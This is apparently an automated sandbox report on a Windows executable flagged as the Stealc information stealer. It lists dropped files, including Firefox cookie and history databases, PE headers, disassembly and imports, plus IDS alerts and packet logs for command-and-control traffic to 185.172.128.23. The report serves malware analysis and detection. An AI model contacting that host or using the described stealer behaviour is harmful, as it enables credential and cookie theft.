Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421585493544715
Encrypted:	false
SSDEEP:	6144:fSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNq0uhiTwf:qvloTMW+EZMM6DFyo03wf
MD5:	9E6F4EB2CE8E0C3F2D95250709448724
SHA1:	1F0A15256ED17B4BC61C4FC8166D3AE9E8EA9480
SHA-256:	C5EAB22A348E71347EA9A0862937C26C3D43D46CC6549CDA05089E60788828DD
SHA-512:	1EFD7DCC8E35AED1B16074175589C914D96F255D70B459AD528A87A4EA469FD1024F009F79B92B2151D79A0CE440EC8FD77D8C4E2E49537855963304590C78F1
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm*z~T................................................................................................................................................................................................................................................................................................................................................. h`........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.550751921629544
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	zVp8cG4riO.exe
File size:	313'344 bytes
MD5:	7afa5dd515203626695eeda4606d1c63
SHA1:	2d91e4a20ffb26d31c396f64546c68bac9e37208
SHA256:	b30838c7d4ae48e0bd2b530eb63ac920048f044d9ff59766889f753989cce382
SHA512:	96d3cc9d579a027492529ca51e6f20962bcd9f31f4361a8e030fe12661c343e2701c4a581b529b0cf035d5cb65f8088b0942c47a040152020dc31bb14f5ebbef
SSDEEP:	3072:4mhodyTiEb28g2o3pTg/P9LQKi+XPb1Kj1QUsl0XwARbNsWuxfTBdk8kBfUse6S3:Cydi82g3RQKiswsl0XwAP4lcPSoGn7
TLSH:	A5646B0272E1E862F53347725A6DC2BC767EFDE14E565B6B2348DE2F09700A0D622772
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....1ld...

File Icon


Icon Hash:	494541590d514509

Static PE Info

General

Entrypoint:	0x406835
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x646C3187 [Tue May 23 03:22:47 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	17ccf166284947c6d6cbcd86ca514021

Entrypoint Preview

Instruction
call 00007F1B015164BAh
jmp 00007F1B0150C5F5h
push 00000014h
push 00421A20h
call 00007F1B0151377Ah
call 00007F1B0150EA49h
movzx esi, ax
push 00000002h
call 00007F1B0151644Dh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F1B0150C5F6h
xor ebx, ebx
jmp 00007F1B0150C625h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F1B0150C5DDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F1B0150C5CFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F1B0150C5FBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F1B01513BC5h
test eax, eax
jne 00007F1B0150C5FAh
push 0000001Ch
call 00007F1B0150C6D1h
pop ecx
call 00007F1B01512BD4h
test eax, eax
jne 00007F1B0150C5FAh
push 00000010h
call 00007F1B0150C6C0h
pop ecx
call 00007F1B015164C6h
and dword ptr [ebp-04h], 00000000h
call 00007F1B015138E6h
test eax, eax
jns 00007F1B0150C5FAh
push 0000001Bh
call 00007F1B0150C6A6h
pop ecx
call dword ptr [0041A0D4h]
mov dword ptr [02D1A724h], eax
call 00007F1B015164E1h
mov dword ptr [0043EECCh], eax
call 00007F1B01515E84h
test eax, eax
jns 00007F1B0150C5FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x21fd4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x291b000	0xea38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a220	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20a50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a000	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x18f0a	0x19000	1f63edf34f33d290532499ce94736401	False	0.577998046875	data	6.676313249887119	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a000	0x8982	0x8a00	3f91653f51b6708c98abcecaceabaf75	False	0.38855865036231885	data	4.735968178608291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x23000	0x28f7728	0x1be00	db6833f5a2a6ff7e91b849a90961ae03	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x291b000	0xea38	0xec00	3f0e7187c39fa75a3ec604513a4cf993	False	0.3865035752118644	data	4.384909722574922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2926968	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x2926a98	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x2926b70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x2927a18	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x29282c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x291b5b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.36060767590618337
RT_ICON	0x291c458	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4742779783393502
RT_ICON	0x291cd00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46182572614107886
RT_ICON	0x291f2a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4732645403377111
RT_ICON	0x2920350	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.49645390070921985
RT_ICON	0x2920808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.48800639658848616
RT_ICON	0x29216b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47021660649819497
RT_ICON	0x2921f58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.43713872832369943
RT_ICON	0x29224c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2779045643153527
RT_ICON	0x2924a68	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.29338649155722324
RT_ICON	0x2925b10	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.30901639344262294
RT_ICON	0x2926498	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.3351063829787234
RT_STRING	0x2928a38	0x2e8	data	Romanian	Romania	0.48655913978494625
RT_STRING	0x2928d20	0x40e	data	Romanian	Romania	0.4624277456647399
RT_STRING	0x2929130	0x266	data	Romanian	Romania	0.46254071661237783
RT_STRING	0x2929398	0x2a6	data	Romanian	Romania	0.47345132743362833
RT_STRING	0x2929640	0x3f2	data	Romanian	Romania	0.46633663366336636
RT_GROUP_CURSOR	0x2926b48	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x2928828	0x30	data			0.9375
RT_GROUP_ICON	0x29207b8	0x4c	data	Romanian	Romania	0.75
RT_GROUP_ICON	0x2926900	0x68	data	Romanian	Romania	0.7115384615384616
RT_VERSION	0x2928858	0x1e0	data			0.55

Imports

DLL	Import
KERNEL32.dll	FindVolumeClose, GetNumaProcessorNode, GetCurrentProcess, AddConsoleAliasW, GetNumberFormatA, GetWindowsDirectoryA, GetUserDefaultLangID, GlobalFindAtomA, LoadLibraryW, TerminateThread, GetLocaleInfoW, ReadConsoleInputA, ReadProcessMemory, WriteConsoleW, GetModuleFileNameW, GetCompressedFileSizeA, SetThreadLocale, GetStdHandle, GetThreadContext, ChangeTimerQueueTimer, VirtualAlloc, CopyFileA, LoadLibraryA, LocalAlloc, CreateHardLinkW, AddAtomW, RemoveDirectoryW, SetCommMask, GetOEMCP, FindFirstChangeNotificationA, VirtualProtect, SetCalendarInfoA, SetFileAttributesW, GetVolumeInformationW, CreateThread, CreateFileW, GetLastError, DebugActiveProcess, OutputDebugStringW, FlushFileBuffers, SetStdHandle, ReadFile, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapFree, GetCommandLineA, GetCPInfo, RaiseException, RtlUnwind, HeapAlloc, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, SetLastError, InitializeCriticalSectionAndSpinCount, Sleep, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetModuleHandleW, GetProcAddress, LCMapStringW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, IsValidCodePage, GetACP, GetCurrentThreadId, IsDebuggerPresent, GetFileType, GetProcessHeap, ExitProcess, GetModuleHandleExW, HeapSize, CloseHandle, GetModuleFileNameA, WriteFile, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, GetConsoleCP, GetConsoleMode, SetFilePointerEx, LoadLibraryExW
USER32.dll	GetMenuInfo
GDI32.dll	GetCharacterPlacementW
ole32.dll	CoMarshalHresult
WINHTTP.dll	WinHttpReadData

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/17/24-09:17:00.537456	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49704	185.172.128.23	192.168.2.5
04/17/24-09:17:00.538972	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	185.172.128.23
04/17/24-09:17:00.212598	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	185.172.128.23
04/17/24-09:16:59.648355	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	185.172.128.23
04/17/24-09:17:00.864471	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49704	185.172.128.23	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 09:16:59.436110020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:16:59.641623020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:16:59.641819954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:16:59.648355007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:16:59.854020119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.209841013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.210058928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.212598085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.418164968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.537456036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.537522078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.537653923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.537653923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.538971901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.744348049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864470959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864537001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864577055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864617109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864656925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:00.864670038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.864670038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.864670038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.864670038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.864712000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.896012068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:00.896012068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:01.102433920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.102493048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.102528095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.102560043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.102597952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.579150915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:01.579485893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:01.962749958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.168490887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.274894953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.274960041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.274996042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275000095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275033951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275043964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275058031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275084019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275090933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275176048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275213957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275253057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275291920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275320053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275320053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275320053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275320053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275331020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.275353909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.275387049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.480592966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480654001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480674982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480695009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480719090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480755091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480793953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480830908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480868101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480909109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480925083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.480947971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.480987072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481002092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481024981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481045008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481065989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481082916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481103897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481117010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481144905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481157064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481183052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481204033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481220961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481240034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481257915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481281042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481297016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.481312990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.481352091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.686527967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686628103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686666012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686686993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686708927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686731100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686750889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686786890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686794043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.686824083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686830044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.686846972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686866999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686887980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686907053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686928034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686948061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686966896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.686985970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687004089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687025070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687062025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687098980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687134027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687170982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687206984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687243938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687249899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687283993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687304020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687320948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687333107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687357903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687376976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687393904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687410116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687433004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687448978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687474012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687485933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687514067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687541962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687551022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687563896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687592030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687602997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687630892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687647104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687670946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687695026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687716007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687731981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687752962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687772036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687791109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687807083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687829018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.687843084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.687882900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894388914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894458055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894479036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894498110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894520998 CEST	80	49704	185.172.128.23	192.168.2.5
